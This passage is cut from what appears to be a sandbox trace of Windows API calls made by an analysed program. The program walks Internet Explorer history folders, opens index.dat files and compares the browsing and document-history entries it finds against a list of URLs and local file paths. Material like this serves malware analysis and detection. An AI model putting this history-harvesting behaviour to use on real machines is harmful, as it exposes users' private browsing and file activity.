lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880 [0069.144] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.144] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.144] SetFilePointer (in: hFile=0xc8, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00 [0069.145] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.145] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.145] SetFilePointer (in: hFile=0xc8, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80 [0069.146] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.146] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.146] CloseHandle (hObject=0xc8) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.146] wcslen (_String="MSHist012017070320170710") returned 0x18 [0069.146] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.146] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.146] wcscat (in: _Dest=0x288f9c, _Source="MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0069.146] wcscmp (_String1="MSHist012017070320170710", _String2="..") returned 1 [0069.146] wcscmp (_String1="MSHist012017070320170710", _String2=".") returned 1 [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.146] wcslen (_String="*.*") returned 0x3 [0069.146] wcscpy (in: _Dest=0x2880c8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.146] wcscat (in: _Dest=0x2880c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\" [0069.146] wcscat (in: _Dest=0x2880c8, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*" [0069.146] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*", lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 0x8a3148 [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.146] wcslen (_String=".") returned 0x1 [0069.146] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0069.146] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.146] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\" [0069.146] wcscat (in: _Dest=0x2885a0, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\." [0069.147] wcscmp (_String1=".", _String2="..") returned -1 [0069.147] wcscmp (_String1=".", _String2=".") returned 0 [0069.147] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.147] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 1 [0069.147] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.147] wcslen (_String="..") returned 0x2 [0069.147] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0069.147] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.147] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\" [0069.147] wcscat (in: _Dest=0x2885a0, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\.." [0069.147] wcscmp (_String1="..", _String2="..") returned 0 [0069.147] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.147] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 1 [0069.147] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.147] wcslen (_String="index.dat") returned 0x9 [0069.147] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0069.147] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62 [0069.147] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\" [0069.147] wcscat (in: _Dest=0x2885a0, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat" [0069.147] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0069.147] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017070320170710\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0069.147] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.147] ReadFile (in: hFile=0xcc, lpBuffer=0x288020, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x281ce8, lpOverlapped=0x0 | out: lpBuffer=0x288020*, lpNumberOfBytesRead=0x281ce8*=0x20, lpOverlapped=0x0) returned 1 [0069.162] GetFileSize (in: hFile=0xcc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0069.162] SetFilePointer (in: hFile=0xcc, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0069.163] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.163] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.163] _strlwr (in: _Str=":Host: www.msn.com" | out: _Str=":host: www.msn.com") returned=":host: www.msn.com" [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/de-de/") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2=":host: computer") returned 1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2=":host: www.google.de") returned 1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned -1 [0069.163] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned -1 [0069.163] wcscmp 